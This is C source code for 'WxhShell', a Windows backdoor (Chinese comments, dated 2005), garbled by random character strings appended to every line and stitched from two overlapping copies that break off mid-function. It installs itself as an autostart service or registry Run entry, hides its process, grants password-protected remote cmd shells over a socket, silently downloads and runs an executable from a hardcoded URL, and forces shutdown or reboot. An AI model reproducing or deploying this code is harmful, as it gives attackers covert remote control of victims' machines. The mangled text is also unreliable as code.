    break; BY6QJkI9x  
    } PWx2<t<;9  
  // 关机 * r$(lf  
  case 'd': { sZ7{_}B  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); jbGP`b1_  
    if(Boot(SHUTDOWN)) %YA=W=Yd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4w\cS&X~C  
    else { (+(YO\ng6  
    closesocket(wsh); ,J~kwJ$L  
    ExitThread(0); cl30"WK!  
    } td&W>(3d  
    break; ~M2w&g;1  
    } yiiYq(\{  
  // 获取shell 80LKxA;5N  
  case 's': { b\F(.8  
    CmdShell(wsh); Mo0+"`   
    closesocket(wsh); &Nt4dp`qj  
    ExitThread(0); Zm^4p{I%o*  
    break; 8ZE{GX.m2c  
  } S~/zBFo-  
  // 退出 2/x+7F}w5  
  case 'x': { ZFY t[:  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .{*V^[.  
    CloseIt(wsh); ;}ileL Tl  
    break; mn)kd  
    } &U*=D8!0  
  // 离开 A#\NVN8sk  
  case 'q': { m:.ywiw=  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ![P1Qv p  
    closesocket(wsh); ?`3` azfM  
    WSACleanup(); m = "N4!  
    exit(1); f)~urGazS  
    break; DI"mi1ObE  
        } Rku9? zf^  
  } A90o X1l  
  } "(>P=  
,GA2K .:#  
  // 提示信息 8.ll]3))  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); swntz  
} 5\A[ra  
  } _t_X`  
mvyqCOp 0  
  return; _jQ"_Ff  
} 4jfkCU  
m$Lq#R={Z  
// shell模块句柄 }1f@>'o  
int CmdShell(SOCKET sock) _ko16wfg  
{ +'Ec)7m  
STARTUPINFO si; }E+#*R3auB  
ZeroMemory(&si,sizeof(si)); 4N|^Joi  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $z)r(N$  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; qCi6kEr  
PROCESS_INFORMATION ProcessInfo; %(79;#2`  
char cmdline[]="cmd"; 2j+v\pjYC  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }Zu>?U  
  return 0; xv4_q-r[  
} lU`]yL  
<O>1Y09C/  
// 自身启动模式 Po#;SG#Ee  
int StartFromService(void) yZE"t[q#O  
{ :,X,!0pWRp  
typedef struct  |W];8  
{ WLma)L`L  
  DWORD ExitStatus; Pwn"!pk  
  DWORD PebBaseAddress; 5*l~7R  
  DWORD AffinityMask; 0'{0kE[wn  
  DWORD BasePriority; /f@VRME  
  ULONG UniqueProcessId; nw){}g  
  ULONG InheritedFromUniqueProcessId; BWamF{\d1a  
}   PROCESS_BASIC_INFORMATION; O]o `! c  
B{^o}:e  
PROCNTQSIP NtQueryInformationProcess; HS =qK  
l8/ tR  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; \$n?J(N  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; mf ^=tZ  
 c %w h  
  HANDLE             hProcess; /ldE (!^n  
  PROCESS_BASIC_INFORMATION pbi; dq}60  
fOs"\Y4  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ?4GI19j  
  if(NULL == hInst ) return 0; "E =\Vz  
lS&$86Jo(  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 'yuM=Pb  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :_E q(r  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); x2(!r3a  
.>NhC"  
  if (!NtQueryInformationProcess) return 0; Yj99[ c#]  
P$?3\`U;  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 20h|e+3  
  if(!hProcess) return 0; (=c R;\s<  
+`O8cHx  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; :oh(M|;/2  
u4*7 n-(  
  CloseHandle(hProcess); BQq,,i8H  
bU9B2'%E  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;gfY_MXnF  
if(hProcess==NULL) return 0; JDrh-6Zgj  
RLBjl%Q>  
HMODULE hMod; )xYv$6=  
char procName[255]; m22M[L(q  
unsigned long cbNeeded; 28J ; 9  
4)./d2/E  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); x;ym_UZ6e  
\' (_r  
  CloseHandle(hProcess); {Bk9]:'$5  
H-$)@  
if(strstr(procName,"services")) return 1; // 以服务启动 g"gh2#!D  
iLiEh2%P  
  return 0; // 注册表启动 ICwhqH&  
} 1sKKmtgH  
b<o Uy  
// 主模块 ,&[2z!  
int StartWxhshell(LPSTR lpCmdLine) 9Ps[i)-  
{ ihivJ Z  
  SOCKET wsl; *<?or"P  
BOOL val=TRUE; $ K1 /^  
  int port=0; R?@F%J;tx  
  struct sockaddr_in door; *IL x-D5qr  
h$7rEs  
  if(wscfg.ws_autoins) Install(); oxT..=-  
h >V8YJ  
port=atoi(lpCmdLine); iy_'D  
#n&/yYl9(l  
if(port<=0) port=wscfg.ws_port; 6z3 Yq{1  
ma@3BiM  
  WSADATA data; #Bq.'?c'~  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; .zxP,]"l  
aVsA5t\zi  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ip6$Z3[)  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); C;7?TZ&xw  
  door.sin_family = AF_INET; &Ohm]g8{2  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); FRa@T N/Ic  
  door.sin_port = htons(port); P9h]B u  
rrBu6\D  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { :l<)p;\  
closesocket(wsl); dE R#)bGj  
return 1; z<2!|  
} t}r`~AEa!  
&E|2-)  
  if(listen(wsl,2) == INVALID_SOCKET) { H>Wi(L7  
closesocket(wsl); #Ezq}F8Y  
return 1; F ^& Rg  
} <X9  T}g  
  Wxhshell(wsl); {.c(Sw}Eo  
  WSACleanup(); *h6Lh]7  
g}HB|$P7  
return 0; #>~<rcE(  
?Ne@OMc  
} =\CJsS.  
+76{S_CZ  
// 以NT服务方式启动 @pq#?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) h!# (.P  
{ E+wd9/;  
DWORD   status = 0; 9$[I~I#z  
  DWORD   specificError = 0xfffffff; qFEGV+  
g$C-G5/bjD  
  serviceStatus.dwServiceType     = SERVICE_WIN32; D5]4(]k&  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; F\&Sn1>k  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; =2&/Cn4  
  serviceStatus.dwWin32ExitCode     = 0; S;a'@5  
  serviceStatus.dwServiceSpecificExitCode = 0; K"~Tk`[0Q  
  serviceStatus.dwCheckPoint       = 0; h%'4V<V  
  serviceStatus.dwWaitHint       = 0; ShXk\"  
[^wEKRt&  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); _hP siZY9  
  if (hServiceStatusHandle==0) return; N[e QT  
cBICG",TA  
status = GetLastError(); r(sQI# P  
  if (status!=NO_ERROR) "-aak )7w  
{ JNhHQvi\  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; w`Q"mx*  
    serviceStatus.dwCheckPoint       = 0; 0Y rdu,c  
    serviceStatus.dwWaitHint       = 0; RiHOX&-7  
    serviceStatus.dwWin32ExitCode     = status; Wn;B~  
    serviceStatus.dwServiceSpecificExitCode = specificError; q-c9YOz_  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); lZT9 SDtS  
    return; h{zE;!+)D  
  } /Mk85C79  
J6x#c`Y  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; yn&AMq ]o  
  serviceStatus.dwCheckPoint       = 0; Z4YQ5O5  
  serviceStatus.dwWaitHint       = 0; >~O36q^w  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Cj~45)r  
} v(ABZNIn  
Nda,G++5(  
// 处理NT服务事件,比如:启动、停止  LW?Zd=  
VOID WINAPI NTServiceHandler(DWORD fdwControl) LxqK@Q<B  
{ ,(aOTFQS  
switch(fdwControl) DG_tmDT4  
{ ~ou1{NS  
case SERVICE_CONTROL_STOP: kOfq6[JC  
  serviceStatus.dwWin32ExitCode = 0; ?f1PQ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; *69 yB  
  serviceStatus.dwCheckPoint   = 0; P'o:Vhm_H  
  serviceStatus.dwWaitHint     = 0; cG|)z<Z  
  { \BB(0Ah+t  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); M6(oJ*  
  } bu`8QQ"C  
  return; Z4S0{:XY  
case SERVICE_CONTROL_PAUSE: eIVCg-l}  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; OkSJob  
  break; Z2z"K<Z W  
case SERVICE_CONTROL_CONTINUE: 7%rSo^t,L  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; a'R)3:S  
  break; Q _}i8p '  
case SERVICE_CONTROL_INTERROGATE: Vp3 9`m-W  
  break; eF8!}|*N  
}; )9_jr(s  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &cj/8A5-  
} %9.] bd|%F  
KX*Hev'K  
// 标准应用程序主函数 99XbpP55  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) a }6Fj&hj  
{ KM$5ZbCF:  
?VM#Nf\  
// 获取操作系统版本 1_JxDT,=>  
OsIsNt=GetOsVer(); wg6![Uh  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Lo, z7"8  
hK=\O)  
  // 从命令行安装 z`gdE0@;d3  
  if(strpbrk(lpCmdLine,"iI")) Install(); QusEWq)}<  
StUiL>9T#  
  // 下载执行文件 w)bLdQ  
if(wscfg.ws_downexe) { {"33 .^=  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Q;O\tl  
  WinExec(wscfg.ws_filenam,SW_HIDE); f'/@h Na3  
} s>sIji  
2N]u!S;d  
if(!OsIsNt) { W":is"  
// 如果时win9x,隐藏进程并且设置为注册表启动 muLt/.EZ  
HideProc(); i4T U}.h8  
StartWxhshell(lpCmdLine); g*UI~rp  
} $@_7HE3  
else 4}{S8fGk%  
  if(StartFromService()) JL~QE-pvD  
  // 以服务方式启动 b`Wn98s  
  StartServiceCtrlDispatcher(DispatchTable); x}TDb0V  
else 1j*I`xZ  
  // 普通方式启动 '[shY  
  StartWxhshell(lpCmdLine); _E5%Px5>L  
\Cx) ~bq<  
return 0; <YbOO{  
} eqbxf#H!  
l ' ]d&  
Wpom{-  
7Dy\-9:v  
=========================================== 5qco4@8  
b6D}GuW  
'< OB  j  
H~-zq} 4  
RVN"lDGA  
%UJ!(_  
" m{={a5GD  
^RkHdA  
#include <stdio.h> 1E Lzzn  
#include <string.h> 3j.Ft*SV  
#include <windows.h> 9GS<d.#Nvc  
#include <winsock2.h> Xu#\CYk  
#include <winsvc.h> gF% lwq  
#include <urlmon.h> L1u  
Auhw(b>}TW  
#pragma comment (lib, "Ws2_32.lib") lo:]r.lX{  
#pragma comment (lib, "urlmon.lib") Du>dTi~  
VVuL+i  
#define MAX_USER   100 // 最大客户端连接数 8WWRKP1V  
#define BUF_SOCK   200 // sock buffer g~d}?B\<@  
#define KEY_BUFF   255 // 输入 buffer Egt;Bj#%  
x8p#WB  
#define REBOOT     0   // 重启 9vL`|`Vau  
#define SHUTDOWN   1   // 关机 G8`q-B}q  
LGT\1u  
#define DEF_PORT   5000 // 监听端口 ;VS;),h/  
<FH3 ePz  
#define REG_LEN     16   // 注册表键长度 bG +p  
#define SVC_LEN     80   // NT服务名长度 '#<?QE!d2  
\()\pp~4  
// 从dll定义API z Q NL){  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ]sO})  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); "}D uAs  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); JGIN<J85e  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ~\hA-l36  
k%QhF]  
// wxhshell配置信息 t~p9iGX<  
struct WSCFG { zW%-Z6%D  
  int ws_port;         // 监听端口 !m pRLBH  
  char ws_passstr[REG_LEN]; // 口令 D8_m_M| P  
  int ws_autoins;       // 安装标记, 1=yes 0=no x Mtl<Na   
  char ws_regname[REG_LEN]; // 注册表键名 ?n/:1LN,  
  char ws_svcname[REG_LEN]; // 服务名 h 88iZK  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 _jef{j  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 yhEU *\:  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 V_U$JKJ1=  
int ws_downexe;       // 下载执行标记, 1=yes 0=no D0PP   
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" U;Hu:q*  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 H;s0|KRgJ  
uc%75TJ@  
}; WX 79V  
/-4i"|  
// default Wxhshell configuration Z5Ao3O@  
struct WSCFG wscfg={DEF_PORT, :<%K6?'@^  
    "xuhuanlingzhe", mBc;^8I?23  
    1, ,KkENp_  
    "Wxhshell", wpY%"x#-+=  
    "Wxhshell", .CI]8O"3y  
            "WxhShell Service", ~=%eOoZP;c  
    "Wrsky Windows CmdShell Service", uW4G!Kw28  
    "Please Input Your Password: ", D>c%5h  
  1, H7"I+qE-G  
  "http://www.wrsky.com/wxhshell.exe", _h_;nS.Y  
  "Wxhshell.exe" 2Iz@lrO6  
    }; T~Jl{(s9)  
`a:@[0r0U  
// 消息定义模块 Y,WcHE  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; x{~-YzWho  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 5gI@~h S  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; xpFu$2T6P.  
char *msg_ws_ext="\n\rExit."; [x!T<jJ  
char *msg_ws_end="\n\rQuit."; ,{itnKJC  
char *msg_ws_boot="\n\rReboot..."; Dc oTa-~  
char *msg_ws_poff="\n\rShutdown..."; 3Q[]lFJ}F  
char *msg_ws_down="\n\rSave to "; M O* m@  
s;}';#  
char *msg_ws_err="\n\rErr!"; Mim 9C]h(  
char *msg_ws_ok="\n\rOK!"; e@p` -;<  
hr@KWE`  
char ExeFile[MAX_PATH];  'm}~  
int nUser = 0; jb)z[!FbM  
HANDLE handles[MAX_USER]; *~4uF  
int OsIsNt; F.?:Gd1  
x:;8U i"&B  
SERVICE_STATUS       serviceStatus; UOF5&>MLb  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; S~YrXQ{_>-  
 2b1LC!'U  
// 函数声明 ..<(HH2  
int Install(void); l/LRr.x  
int Uninstall(void); ezwcOYMXK  
int DownloadFile(char *sURL, SOCKET wsh); :@_CQc*yB  
int Boot(int flag); n5S$Dl  
void HideProc(void); |Y/iq9l  
int GetOsVer(void); S_c#{4n  
int Wxhshell(SOCKET wsl); peGXU/5.I  
void TalkWithClient(void *cs); T>n,@?#K  
int CmdShell(SOCKET sock); 1$@k@*u\  
int StartFromService(void); j/9FiuK  
int StartWxhshell(LPSTR lpCmdLine); 3KB)\nF#%  
+qpD>5#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ~ ;)@a  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); $g#X9/+<  
.eZ4?|at.F  
// 数据结构和表定义 ,2H5CFX/  
SERVICE_TABLE_ENTRY DispatchTable[] = OD>-^W t;%  
{ ; {I{X}b  
{wscfg.ws_svcname, NTServiceMain}, `Up<;  
{NULL, NULL} JEY%(UR8  
}; sF_.9G)S0  
_}jj>+zA`  
// 自我安装 Gpe h#Q4x  
int Install(void) QHMXQyr(  
{ ?ZlwRjB\  
  char svExeFile[MAX_PATH]; P; hjr;  
  HKEY key; 3m7$$ N|  
  strcpy(svExeFile,ExeFile); _sZ/tU@_-K  
O|7q,bEm^  
// 如果是win9x系统,修改注册表设为自启动 Vize0fsD  
if(!OsIsNt) { uT]_pKm  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5?9}^s4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Vl^jTX5N  
  RegCloseKey(key); ?{_dW=AQ1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [p4a\Qg0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }qV4]*+{  
  RegCloseKey(key); o>U%3-+T^J  
  return 0; z RvYN  
    } =*Wl;PI'  
  } XZp(Po:H  
} q#sMew\{  
else { UfcM2OmbK  
U0jq.]P  
// 如果是NT以上系统,安装为系统服务 5Odi\SJ&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ODv)-J  
if (schSCManager!=0) 1Lj\"+.  
{ !S(jT?'w  
  SC_HANDLE schService = CreateService ,Hys9I  
  ( |r0j>F  
  schSCManager, ?A62VV51CN  
  wscfg.ws_svcname, n=rPFp RLF  
  wscfg.ws_svcdisp, pk;bx2CP8  
  SERVICE_ALL_ACCESS, 'ARQ7 Q[`  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 9Eg'=YJ  
  SERVICE_AUTO_START, \8Blq5n-O*  
  SERVICE_ERROR_NORMAL, 9=3V}]^M  
  svExeFile, "]MF =-v  
  NULL, ;=h^"et  
  NULL, HLk}E*.mC  
  NULL, &rw|fF|]  
  NULL, C:4h  
  NULL Zls4@/\Q  
  ); ?r'b Z~  
  if (schService!=0) fVf.u'.8  
  { )%ja6Vg  
  CloseServiceHandle(schService); qY14LdC}~  
  CloseServiceHandle(schSCManager); [FyE{NfiJ%  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); w`#lLl B  
  strcat(svExeFile,wscfg.ws_svcname); >-)i_C2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { z)|56 F7'  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); r T* :1  
  RegCloseKey(key); []LNNO],X  
  return 0; *"9b?`E  
    } %gw0^^A  
  } t~U:{g~  
  CloseServiceHandle(schSCManager); NO* 1km[#  
} >xP $A{  
} Y;#P"-yH  
^{~y+1lt'  
return 1; v`Sllv5bV  
} ?]3`WJOj  
IK %j+UB  
// 自我卸载 H%faRUonz  
int Uninstall(void) uv_*E`pN~  
{ ~f%gW  
  HKEY key; ^lf;Lc  
/5yW vra  
if(!OsIsNt) { N{Is2Ia  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5,?9#n\E,  
  RegDeleteValue(key,wscfg.ws_regname); kv (N/G  
  RegCloseKey(key); ;AG5WPI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { CH9#<?l  
  RegDeleteValue(key,wscfg.ws_regname); 7qzI]  
  RegCloseKey(key); [IV8  
  return 0; Ns1u0$fg  
  } \f{C2d/6j  
} @.CPZT  
} `86 9XE  
else { `?Y/:4  
Sl 6}5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); &+*jTE  
if (schSCManager!=0) '>`bp25>  
{ pazFVzT  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); y!aq}YS  
  if (schService!=0) ]Ff&zBJ  
  { IOIGLtB  
  if(DeleteService(schService)!=0) { ;TaT=%  
  CloseServiceHandle(schService); 8Cm^#S,+  
  CloseServiceHandle(schSCManager); {W0]0_mI(  
  return 0; % ;6e@U}  
  } urog.Q  
  CloseServiceHandle(schService); }"xC1<]  
  } !T @|9PCp  
  CloseServiceHandle(schSCManager); :5CwRg  
} *AxKV5[H  
} Gm>8= =c  
Bxm^Arc>  
return 1; elP`5BuN  
} 40q8,M  
U 2\{ ( y  
// 从指定url下载文件 NO9Jre  
int DownloadFile(char *sURL, SOCKET wsh) ;o8cfD.z  
{ Xb;CY9&  
  HRESULT hr; zo]7#  
char seps[]= "/"; ADHe! [6q  
char *token; {}lw%d?A  
char *file; jRq>Sz{8  
char myURL[MAX_PATH]; "=/XIM.  
char myFILE[MAX_PATH]; '-ACNgNn  
(mza&WF7  
strcpy(myURL,sURL); J-I7K !B  
  token=strtok(myURL,seps); L'[ '7  
  while(token!=NULL) dmE-W S  
  { W:0@m^r  
    file=token; f#^%\K:YYR  
  token=strtok(NULL,seps); M{z+=c&w  
  } *M KVm)Iv  
{d7KJmN  
GetCurrentDirectory(MAX_PATH,myFILE); ,L_p"A  
strcat(myFILE, "\\"); q+LjWZ+O  
strcat(myFILE, file); P7@q vg  
  send(wsh,myFILE,strlen(myFILE),0); +F67g00T|  
send(wsh,"...",3,0); qe\j$Cjy  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Wxp^*._q3I  
  if(hr==S_OK) VMtR4!:q  
return 0; t/q\Ne\\,  
else }b,a*4pN  
return 1; >xH3*0 Lp  
][qZOIk@  
} &|9?B!,`  
1` 9/[2z  
// 系统电源模块 rVf`wJ6b  
int Boot(int flag) jP}N^  
{ R\X=Vg  
  HANDLE hToken; Dy8Go4  
  TOKEN_PRIVILEGES tkp; ?mF-zA'4]  
mXa1SZnE   
  if(OsIsNt) { du47la 3  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 'l<kY\I!%  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); [x)BQX'  
    tkp.PrivilegeCount = 1; F]Y Pq  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; VSP[G ,J.  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 3-_4p8OK  
if(flag==REBOOT) { J/ rQ42d  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Uvz9x"0[u  
  return 0; +  ^~n09  
} A 7TP1  
else { 3HfT9  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) -98bX]8  
  return 0; ;N4mR6  
} wV(_=LF  
  } n}._Nb 5  
  else { 9Uk9TG5  
if(flag==REBOOT) { V#sANi?mpo  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Q2k\8i  
  return 0; 7GPBn}{W  
} oTfEX4 t {  
else { %7L'2/Y2x  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))   (+Er  
  return 0; Rhr]ML  
} $Y ]*v)}X  
} qnT:x{o  
NP|U |zn  
return 1; @Yt[%tOF+  
} j[=f;&1  
q 2= ^l  
// win9x进程隐藏模块 oR3$A :!P=  
void HideProc(void) `#9ZP  
{ ;Hm\?n)a  
8BWLi5R[  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); f#5mX&j  
  if ( hKernel != NULL ) sg9ZYWcL  
  { s[Njk@y,  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); J)o~FC]b*  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 8 A2k-X,  
    FreeLibrary(hKernel); 6i&WF<%D  
  } w+ _'BU1#  
rKR<R(=!=  
return; a0.)zgWr  
} L x(Y=  
>\VZ9bP<   
// 获取操作系统版本 +n%WmRf6!  
int GetOsVer(void) qt3 \*U7x  
{ 3 vE;s"/  
  OSVERSIONINFO winfo; uT;9xV%ch  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); \N;s@j W  
  GetVersionEx(&winfo); TrHBbyqk  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) PRf2@0ZV  
  return 1; hp[8.Z$7  
  else Aja'`Mu  
  return 0; k.0$~juu  
} |n* I}w^  
o>j3<#?  
// 客户端句柄模块 I,q3J1K  
int Wxhshell(SOCKET wsl) -+c_TJ.dC  
{ *jDzh;H!w  
  SOCKET wsh; >5XE*9  
  struct sockaddr_in client; Xf$,ra"  
  DWORD myID; 9/Q5(P  
`bivAL  
  while(nUser<MAX_USER) v`no dI  
{ iiO4.@nT  
  int nSize=sizeof(client); ;l~gA|A  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); tohYwXN  
  if(wsh==INVALID_SOCKET) return 1; QDSB <0j  
2uqdx'^"  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); H%sbf& gi  
if(handles[nUser]==0) &o)j@5Y?  
  closesocket(wsh);  +/AW6  
else 80 p7+W2m  
  nUser++; h!MZ 6}zb)  
  } YZ'gd10T  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); P^.L0T5g  
G?YKm1:w   
  return 0; h5B'w  
} ~0ZP%1.B3  
6i>xCb  
// 关闭 socket 8<IO X  
void CloseIt(SOCKET wsh) {wCQ#V  
{ ;Wb W\,P'  
closesocket(wsh); t[0gN:s  
nUser--; pGUrYik4  
ExitThread(0); C2bN<K  
} W!+5}\?  
L# (o(4g2  
// 客户端请求句柄 G9^!= v@  
void TalkWithClient(void *cs) X@ jml$;$  
{ lwjg57  
Jfo#IRC  
  SOCKET wsh=(SOCKET)cs; *`mwm:4  
  char pwd[SVC_LEN]; WM*7p;t@)  
  char cmd[KEY_BUFF]; qDL9  
char chr[1]; H@ MUzV  
int i,j; QBDi;Xzb+  
Q<Utwk?nL  
  while (nUser < MAX_USER) { |P~TZ  
Z>M0[DJ_  
if(wscfg.ws_passstr) { 8CwgV  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); eX $u  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6fQQKM@a|  
  //ZeroMemory(pwd,KEY_BUFF); vvdC.4O  
      i=0; W aks*^|  
  while(i<SVC_LEN) { r!j_KiUy  
~eE2!/%9  
  // 设置超时 z l@ <X0q  
  fd_set FdRead; {n2jAR9nq  
  struct timeval TimeOut; |)yO] pB:  
  FD_ZERO(&FdRead); f~8Xue,l"  
  FD_SET(wsh,&FdRead); >`\~=ivrD  
  TimeOut.tv_sec=8; 62a{Ggs{  
  TimeOut.tv_usec=0; iv:[]o  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); mI?AI7DqK  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 57rc|]C  
2 ;U(r: ]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yj"+!g  
  pwd=chr[0]; 8@Y]dz gjj  
  if(chr[0]==0xd || chr[0]==0xa) { jD'\\jAUdm  
  pwd=0; s#64NG  
  break; beN0 ?G  
  } !V#(g./W  
  i++; U")bvUIL  
    } Lk=f^qJ ]  
E*j)gj9  
  // 如果是非法用户,关闭 socket n1!0KOu/N  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); pz#oRuujY  
} CGny#Vh  
'I\bz;VT  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); jQ(qaX&  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2["bS++?  
y kwS-e  
while(1) { ?neXs-'-p  
*)H?d  
  ZeroMemory(cmd,KEY_BUFF); x>Q\j>^  
-05#/-Z=  
      // 自动支持客户端 telnet标准   >>F E?@  
  j=0; 9;sebqC?  
  while(j<KEY_BUFF) { @aWvN;v  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); W=%}~ 7*  
  cmd[j]=chr[0]; Mp}aJzmkB;  
  if(chr[0]==0xa || chr[0]==0xd) { j^mAJ5  
  cmd[j]=0; g]N!_Ib/!  
  break; L+(5`Y  
  } Vw<=& w#K  
  j++; 9<G-uF  
    } #1&w fI$  
2LEf"FH0~  
  // 下载文件 [N'YFb3"O  
  if(strstr(cmd,"http://")) { M')f,5i&$  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); rp{q.fy'U  
  if(DownloadFile(cmd,wsh)) K!0vvP2H  
